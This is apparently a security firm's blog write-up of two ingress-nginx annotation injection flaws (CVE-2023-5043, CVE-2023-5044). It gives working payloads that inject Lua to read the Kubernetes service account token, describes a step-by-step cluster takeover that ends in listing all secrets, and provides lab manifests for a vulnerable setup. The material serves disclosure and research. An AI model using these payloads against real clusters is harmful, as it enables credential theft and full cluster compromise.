Skip to content

Exploiting CVE-2023-5044 and CVE-2023-5043 to overtake a Kubernetes Cluster

Delve into the Golden Ticket Attack in Active Directory: a key APT method. Discover its workings, countermeasures, and detection to protect your network.

cyber attacks

In this blog we are exploring two new CVE’s that exploit an issue in the NGINX controller when NGINX is used for ingress control. These two issues require the NGINX controller to be of the version < 1.9.0. When exploiting these issues this might lead to a complete compromise of the Kubernetes cluster.

CVE-2023-5043 (CVSS score: 7.6) – Code injection via nginx.ingress.kubernetes.io/configuration-snippet

CVE-2023-5044 (CVSS score: 7.6) – Code injection via nginx.ingress.kubernetes.io/permanent-redirect annotation

To recreate the issues we built a vulnerable Kubernetes environment. The details on the different deployments and configurations can be found in the Appendix: Setup vulnerable environment .

Furthermore Appendix: Tools Used list the tools used during the setup and exploitation phase, while Appendix: Utility commands list some handy comments during experimenting.

NGINX Default Service Account Permissions

To understand how critical this issue can become lets first have a look at the default ingressnginx service account permissions. As we can see in the screenshot below, the service account comes with several useful access rights that could be used to enumerate the Kubernetes cluster.

However one permission in particular is of great use from an offensive standpoint. The service account ingress-nginx has default permissions to get , list and watch secrets in the Kubernetes cluster.

NGINX Default Service Account Permissions

The default configuration can be found here:

https://raw.githubusercontent.com/kubernetes/ingressnginx/main/deploy/static/provider/kind/deploy.yaml

Technical Write-Up of CVE-2023-5043 and CVE2023-5044

Now let us explore the exploitation of both CVEs in detail. To start the research we found a well written article about the CVE-2023-5044 including a proof-of-concept exploit string to get an idea of how an exploit could look like. Knowing this initial exploit string helped a lot in understanding where the actual issue lies.

Note: In order to exploit any of these two issues the service account needs to have create permissions for ingresses in the Kubernetes environment.

Let’s dive into the technical bits!

CVE-2023-5044: nginx.ingress.kubernetes.io/permanentredirect

Details

https://kubernetes.io/docs/concepts/services-networking/ingress/

To set us up lets have a look at the annotation nginx.ingress.kubernetes.io/permanentredirect according to the official GitHub documentation this annotation allows us to return a permanent HTTP Status Code 301 for requests received by the NGINX ingress control and permanently redirect to the given domain.

This annotation is being bound to a Ingress object in the Kubernetes environment. Let’s create an example:

Deploying this, will enforce the ingress control for the foo-service and the bar-service.

If we now browse to http://localhost/bar/ as an example we can observe the ingress control is working as the user is being redirected to the defined page.

Let’s investigate what actually happens on the NGINX controller. As this is a redirect done in NGINX we most likely want to have a look at it’s configuration files typically located under /etc/nginx/ .

If we now output the contents of nginx.conf and filter for our annotation value ( https://www.covertswarm.com ), we can see two return 301 directives set in this configuration file.

Now, according to the blog post mentioned earlier, an example exploit looked as follows:

nginx.ingress.kubernetes.io/permanent-redirect: 

https://www.covertswarm.com;}location ~* “^/covertswarm(/|$)(.*)” {content_by_lua 

‘ngx.say(io.popen(“cat 

/var/run/secrets/kubernetes.io/serviceaccount/token”):read(“*a”))’;}location ~* 

‘/example’ {content_by_lua ‘ngx.say(“a”)’

In NGINX it is possible to use lua scripts in location directives (more information here).

If we have a close look at his, we can see that after our initial value https://www.covertswarm.com a semicolon and closing curly bracket were placed ;} . Let’s have a look at some more configuration from the nginx.conf .

Some things we can see here is the configuration for the foo-service we applied through our manifest from earlier.

 

One important thing to note here is that we will split the configuration file at the return 301 https://www.covertswarm.com line, if you pay close attention, there is more configuration to be applied for the current directive that we are closing early. We need to make sure that the config file stays valid when we inject our payload.

We do this by adding another, yet unfinished, location directive, that stays open and uses the remaining closing curly bracket.

nginx.ingress.kubernetes.io/permanent-redirect: 

https://www.covertswarm.com;}location ~* “^/covertswarm(/|$)(.*)” {content_by_lua 

‘ngx.say(io.popen(“cat 

/var/run/secrets/kubernetes.io/serviceaccount/token”):read(“*a”))’;}location ~* 

‘/example’ {content_by_lua ‘ngx.say(“a”)’

proof-of-concept

We can see what is explained above in action. The first (and expected) location directive is closed early after our return 301 https://www.covertswarm.com; statement with the curly bracket. Then another location directive that executes a lua script is appended location ~*”^/covertswarm(/|$)(.*)” {content_by_lua ‘ngx.say(io.popen(“cat/var/run/secrets/kubernetes.io/serviceaccount/token”):read(“*a”))’;} , which is again appended by an open location directive, to keep the validity of the configuration in tact location ~* ‘/example’ {content_by_lua ‘ngx.say(“a”)’ .

This lua script outputs the content of the /var/run/secrets/kubernetes.io/serviceaccount/token file and replays it back to the requesting user.

Now, sending a request to the instrted location /covertswarm displays the following:

Which is the service account token for the NGINX ingress controller.

CVE-2023-5043: nginx.ingress.kubernetes.io/configuration-snippet

Exploiting the nginx.ingress.kubernetes.io/configuration-snippet annotation works in a similar manner to ‘CVE-2023-5044 nginx.ingress.kubernetes.io/permanent-redirect ‘ (with some minor tweaks to the exploit string)

General Condition

To exploit this, allow-snippet-annotations needs to be set to true . This option is defaulted to false since v1.9.0. As these issues exploit the NGINX controller < v1.9.0 this might not be an issue. However below you find a patch to allow snippet annotations (also set to true in the vulnerable environment setup from the Appendix section).

Details

Please refer to ‘CVE-2023-5044 nginx.ingress.kubernetes.io/permanent-redirect ‘ until the proof-of-concept section to understand how exploitation works. We will pick up from there now.

As mentioned above there is a slight difference to the exploit string in the CVE-2023-5043 compared to CVE-2023-5044.

First and foremorst, the nginx.ingress.kubernetes.io/configuration-snippet can be used to add additional configuration to the NGINX location. If we remember from the last section, we exploited the nginx.conf file by appending a location directive under our control. We do exactly the same here.

For the configuration we use an example from here that looked as follows:

The final manifest looked as follows:

Applying this configuration to the cluster leads to the following

Next, we again, append our location directive payload.

nginx.ingress.kubernetes.io/configuration-snippet: |

      more_set_headers “Request-Id: $req_id”;}location ~* “^/covertswarm2(/|$)(.*)” 

{content_by_lua ‘ngx.say(io.popen(“cat 

/var/run/secrets/kubernetes.io/serviceaccount/token”):read(“*a”))’;}

Now, bizarrely, when we added the last bit (the open location directive) to keep the

configuration file valid, we ran into an error. Investigating the issue did not reveal any reason for this (or I forgot about it). To speed up the trouble shooting we make use of content_by_lua_block (reference), which appears to just expects a different syntax to supply

location ~* ‘/example2’ {content_by_lua_block {ngx.say(‘hi’)}

the lua script (in from of a block {} ).

The final exploit string looked as follows:

more_set_headers “Request-Id: $req_id”;}location ~* “^/covertswarm2(/|$)(.*)” 

{content_by_lua ‘ngx.say(io.popen(“cat /var/run/secrets/kubernetes.io/serviceaccount/token”):read(“*a”))’;}location ~* 

‘/example2’ {content_by_lua_block {ngx.say(‘hi’)}

This lua script outputs the content of the /var/run/secrets/kubernetes.io/serviceaccount/token file and replays it back to the requesting user.

proof of concept

As we can see, after applying it to the Kubernetes cluster, we see the injection working as described for CVE-2023-5044.

If we browse now /covertswarm2 we are presented with the following:

Which is the service account token for the NGINX ingress controller.

Story: CovertSwarm takes over a vulnerable Kubernetes Cluster

Now let’s look at how a real attack could look like. We assume the compromise of a pod in the

Kubernetes cluster. The service account does not have any sensitive permissions, but has get , create , list and read permissions on the ingresses.networking.k8s.io object.

Furthermore, to display realistic enumeration procedures after a compromise it has limited access to namespaces and pods defined in a ClusterRole and bound to the service account via ClusterRoleBinding .

First, an attacker could enumerate the existing namespaces to learn about the environment.

After some investigation of different pods, they decide to list the pods in the ingress-nginx namespace (filtering done for sanity – as this environment was experimented with).

As they know about the recent exploits released to get the ingress-nginx-controller service account token, they quickly check the version of the controller.

kubectl get pod ingress-nginx-controller-86f6dcd696-t76w7 -n ingress-nginx -oyaml |grep -i image:

This revealed that the deployment of the controller is vulnerable (<v1.9.0). So they output the configuration of the ingress controller, to learn which ports are exposed in the environment.

kubectl get pod ingress-nginx-controller-86f6dcd696-t76w7 -n ingress-nginx -o yaml

Now, they develop the exploit for the nginx.ingress.kubernetes.io/permanent-redirect annotation, that reflects the service account token back to the requesting user on visit of the path /covertswarm .

They then apply the changes successfully to the ingress object in the cluster, due to create permission they have on ingress.networking.k8s.io .

To now trigger the exploit, they need to know the IP for the ingress controller. They obtain it with getting the pods from the ingress-nginx namespace in the wide output format.

After applying the ingress control and obtaining the IP, they request the path of the ingress control they just created and receive the service account token for the ingress-nginx service account.

Now, they check the permissions for the service account they just compromised and find that the default configuration was applied to this, including access to secrets in the cluster.

They export the service account token to the token environment variable (for easier use).

Now, secrets of the whole cluster can be requested and listed (as shown below).

As this is a test-environment not a lot of secrets are populated. As a proof-of-concept, database credentials were added to the kube-system namespace, to showcase cluster-wide access to secrets and a potential downfall of the whole Kubernetes cluster exploiting these issues.

Appendix: Utility Commands

Redeploy NGINX Ingress Controller

kubectl get pod <pod-name> -n <namespace> -o yaml | kubectl replace –force -f –

example:

kubectl get pod ingress-nginx-controller-86f6dcd696-z6cd6 -n ingress-nginx -o yaml| kubectl replace –force -f –

Show current Ingresses

kubectl get ingresses
kubectl get ingress example-ingress

Apply Kubernetes Manifest

kubectl apply -f cve-2023-5043.yaml
kubectl apply -f cve-2023-5044.yaml

Appendix: Tools Used

Kind – Create a Kubernetes Cluster

Kubectl – Simple Kubernetes API interaction utility

K9s – Manage the Kubernetes Cluster Vi(m) – We all know it, aye

Vi(m) – We all know it, aye

Appendix: Setup Vulnerable Environment

Create the Kind cluster and prepare it for NGINX ingress control

reference: https://kind.sigs.k8s.io/docs/user/ingress/

cat <<EOF | kind create cluster –config=-
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
– role: control-plane
kubeadmConfigPatches:
– |
kind: InitConfiguration
nodeRegistration:
kubeletExtraArgs:
node-labels: “ingress-ready=true”
extraPortMappings:
– containerPort: 80
hostPort: 80
protocol: TCP
– containerPort: 443
hostPort: 443
protocol: TCP
EOF

Create sample apps and services with ingress configuration

reference: https://kind.sigs.k8s.io/docs/user/ingress/#using-ingress

kind: Pod
apiVersion: v1
metadata:
name: foo-app
labels:
app: foo
spec:
containers:
– command:
– /agnhost
– netexec
– –http-port
– “8080”
image: registry.k8s.io/e2e-test-images/agnhost:2.39
name: foo-app

kind: Service
apiVersion: v1
metadata:
name: foo-service
spec:
selector:
app: foo
ports:
# Default port used by the image
– port: 8080

kind: Pod
apiVersion: v1
metadata:
name: bar-app
labels:
app: bar
spec:
containers:
– command:
– /agnhost
– netexec
– –http-port
– “8080”
image: registry.k8s.io/e2e-test-images/agnhost:2.39
name: bar-app

kind: Service
apiVersion: v1
metadata:

name: bar-service
spec:
selector:
app: bar
ports:
# Default port used by the image
– port: 8080

Setup NGINX Ingress Control

reference: https://kind.sigs.k8s.io/docs/user/ingress/#ingress-nginx

upstream

wget https://raw.githubusercontent.com/kubernetes/ingress-
nginx/main/deploy/static/provider/kind/deploy.yaml

customized for the vulnerable setup

apiVersion: v1
kind: Namespace
metadata:
labels:
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
name: ingress-nginx

apiVersion: v1
automountServiceAccountToken: true
kind: ServiceAccount
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx
namespace: ingress-nginx

apiVersion: v1
kind: ServiceAccount
metadata:

labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission
namespace: ingress-nginx

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx
namespace: ingress-nginx
rules:
– apiGroups:
– “”
resources:
– namespaces
verbs:
– get
– apiGroups:
– “”
resources:
– configmaps
– pods
– secrets
– endpoints
verbs:
– get
– list
– watch
– apiGroups:
– “”
resources:
– services
verbs:
– get
– list
– watch

– apiGroups:
– networking.k8s.io
resources:
– ingresses
verbs:
– get
– list
– watch
– apiGroups:
– networking.k8s.io
resources:
– ingresses/status
verbs:
– update
– apiGroups:
– networking.k8s.io
resources:
– ingressclasses
verbs:
– get
– list
– watch
– apiGroups:
– coordination.k8s.io
resourceNames:
– ingress-nginx-leader
resources:
– leases
verbs:
– get
– update
– apiGroups:
– coordination.k8s.io
resources:
– leases
verbs:
– create
– apiGroups:
– “”
resources:
– events
verbs:
– create
– patch
– apiGroups:
– discovery.k8s.io

resources:
– endpointslices
verbs:
– list
– watch
– get

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission
namespace: ingress-nginx
rules:
– apiGroups:
– “”
resources:
– secrets
verbs:
– get
– create

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
labels:
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx
rules:
– apiGroups:
– “”
resources:
– configmaps
– endpoints
– nodes
– pods
– secrets
– namespaces

verbs:
– list
– watch
– apiGroups:
– coordination.k8s.io
resources:
– leases
verbs:
– list
– watch
– apiGroups:
– “”
resources:
– nodes
verbs:
– get
– apiGroups:
– “”
resources:
– services
verbs:
– get
– list
– watch
– apiGroups:
– networking.k8s.io
resources:
– ingresses
verbs:
– get
– list
– watch
– apiGroups:
– “”
resources:
– events
verbs:
– create
– patch
– apiGroups:
– networking.k8s.io
resources:
– ingresses/status
verbs:
– update
– apiGroups:

– networking.k8s.io
resources:
– ingressclasses
verbs:
– get
– list
– watch
– apiGroups:
– discovery.k8s.io
resources:
– endpointslices
verbs:
– list
– watch
– get

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission
rules:
– apiGroups:
– admissionregistration.k8s.io
resources:
– validatingwebhookconfigurations
verbs:
– get
– update

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx
namespace: ingress-nginx

roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ingress-nginx
subjects:
– kind: ServiceAccount
name: ingress-nginx
namespace: ingress-nginx

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission
namespace: ingress-nginx
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ingress-nginx-admission
subjects:
– kind: ServiceAccount
name: ingress-nginx-admission
namespace: ingress-nginx

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
labels:
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: ingress-nginx
subjects:
– kind: ServiceAccount
name: ingress-nginx
namespace: ingress-nginx


ipFamilies:
– IPv4
ipFamilyPolicy: SingleStack
ports:
– appProtocol: http
name: http
port: 80
protocol: TCP
targetPort: http
– appProtocol: https
name: https
port: 443
protocol: TCP
targetPort: https
selector:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
type: NodePort

apiVersion: v1
kind: Service
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-controller-admission
namespace: ingress-nginx
spec:
ports:
– appProtocol: https
name: https-webhook
port: 443
targetPort: webhook
selector:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
type: ClusterIP

apiVersion: apps/v1
kind: Deployment
metadata:

labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-controller
namespace: ingress-nginx
spec:
minReadySeconds: 0
revisionHistoryLimit: 10
selector:
matchLabels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
strategy:
rollingUpdate:
maxUnavailable: 1
type: RollingUpdate
template:
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
spec:
containers:
– args:
– /nginx-ingress-controller
– –election-id=ingress-nginx-leader
– –controller-class=k8s.io/ingress-nginx
– –ingress-class=nginx
– –configmap=$(POD_NAMESPACE)/ingress-nginx-controller
– –validating-webhook=:8443
– –validating-webhook-certificate=/usr/local/certificates/cert
– –validating-webhook-key=/usr/local/certificates/key
– –watch-ingress-without-class=true
– –publish-status-address=localhost
env:
– name: POD_NAME
valueFrom:
fieldRef:
fieldPath: metadata.name

– name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
– name: LD_PRELOAD
value: /usr/local/lib/libmimalloc.so
image: registry.k8s.io/ingress-nginx/controller:v1.7.1
imagePullPolicy: IfNotPresent
lifecycle:
preStop:
exec:
command:
– /wait-shutdown
livenessProbe:
failureThreshold: 5
httpGet:
path: /healthz
port: 10254
scheme: HTTP
initialDelaySeconds: 10
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 1
name: controller
ports:
– containerPort: 80
hostPort: 80
name: http
protocol: TCP
– containerPort: 443
hostPort: 443
name: https
protocol: TCP
– containerPort: 8443
name: webhook
protocol: TCP
readinessProbe:
failureThreshold: 3
httpGet:
path: /healthz
port: 10254
scheme: HTTP
initialDelaySeconds: 10
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 1

resources:
requests:
cpu: 100m
memory: 90Mi
securityContext:
allowPrivilegeEscalation: true
capabilities:
add:
– NET_BIND_SERVICE
drop:
– ALL
runAsUser: 101
volumeMounts:
– mountPath: /usr/local/certificates/
name: webhook-cert
readOnly: true
dnsPolicy: ClusterFirst
nodeSelector:
ingress-ready: “true”
kubernetes.io/os: linux
serviceAccountName: ingress-nginx
terminationGracePeriodSeconds: 0
tolerations:
– effect: NoSchedule
key: node-role.kubernetes.io/master
operator: Equal
– effect: NoSchedule
key: node-role.kubernetes.io/control-plane
operator: Equal
volumes:
– name: webhook-cert
secret:
secretName: ingress-nginx-admission

apiVersion: batch/v1
kind: Job
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission-create
namespace: ingress-nginx
spec:

template:
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission-create
spec:
containers:
– args:
– create

– –host=ingress-nginx-controller-admission,ingress-nginx-controller-
admission.$(POD_NAMESPACE).svc

– –namespace=$(POD_NAMESPACE)
– –secret-name=ingress-nginx-admission
env:
– name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-
8b53cabe0@sha256:a7943503b45d552785aa3b5e457f169a5661fb94d82b8a3373bcd9ebaf9aac80
imagePullPolicy: IfNotPresent
name: create
securityContext:
allowPrivilegeEscalation: false
nodeSelector:
kubernetes.io/os: linux
restartPolicy: OnFailure
securityContext:
fsGroup: 2000
runAsNonRoot: true
runAsUser: 2000
serviceAccountName: ingress-nginx-admission

apiVersion: batch/v1
kind: Job
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1

name: ingress-nginx-admission-patch
namespace: ingress-nginx
spec:
template:
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission-patch
spec:
containers:
– args:
– patch
– –webhook-name=ingress-nginx-admission
– –namespace=$(POD_NAMESPACE)
– –patch-mutating=false
– –secret-name=ingress-nginx-admission
– –patch-failure-policy=Fail
env:
– name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-
8b53cabe0@sha256:a7943503b45d552785aa3b5e457f169a5661fb94d82b8a3373bcd9ebaf9aac80
imagePullPolicy: IfNotPresent
name: patch
securityContext:
allowPrivilegeEscalation: false
nodeSelector:
kubernetes.io/os: linux
restartPolicy: OnFailure
securityContext:
fsGroup: 2000
runAsNonRoot: true
runAsUser: 2000
serviceAccountName: ingress-nginx-admission

apiVersion: networking.k8s.io/v1
kind: IngressClass
metadata:
labels:
app.kubernetes.io/component: controller

app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: nginx
spec:
controller: k8s.io/ingress-nginx

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission
namespace: ingress-nginx
spec:
egress:
– {}
podSelector:
matchLabels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
policyTypes:
– Ingress
– Egress

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.7.1
name: ingress-nginx-admission
webhooks:
– admissionReviewVersions:
– v1
clientConfig:
service:

name: ingress-nginx-controller-admission
namespace: ingress-nginx
path: /networking/v1/ingresses
failurePolicy: Fail
matchPolicy: Equivalent
name: validate.nginx.ingress.kubernetes.io
rules:
– apiGroups:
– networking.k8s.io
apiVersions:
– v1
operations:
– CREATE
– UPDATE
resources:
– ingresses
sideEffects: None

Setup service account, role, role-binding for assumed compromise and vulnerable pod

reference: https://k8s-examples.containersolutions.com/examples/ServiceAccount/ServiceAccount.html


– kind: ServiceAccount
name: service-account-ingress-pod-access
namespace: default
roleRef:
kind: ClusterRole
name: ingress-pod-access
apiGroup: rbac.authorization.k8s.io

apiVersion: v1
kind: ServiceAccount
metadata:
name: service-account-ingress-pod-access
namespace: default

apiVersion: v1
kind: Pod
metadata:
name: service-account-pod
namespace: default
spec:
containers:
– command: [“/bin/bash”, “-c”, “apt update && apt install -y curl vim && curl –
LO \”https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl\” && chmod +x kubectl
&& mv kubectl /usr/local/bin && sleep 5000000″]
image: ubuntu
name: pods-simple-container
serviceAccount: service-account-ingress-pod-access

Populating demo secrets in kube-system for proof-ofconcept

reference: https://spacelift.io/blog/kubernetes-secrets

kubectl create secret generic database-credentials –from-file=username.txt –from-
file=password.txt –namespace=kube-system

Cleanup

Delete everything from the ingress-nginx namespace

kubectl delete all –all -n ingress-nginx

Delete the Kind cluster

reference: https://kind.sigs.k8s.io/docs/user/quick-start/#deleting-a-cluster

kind delete cluster

Author: Maximilian Kleinke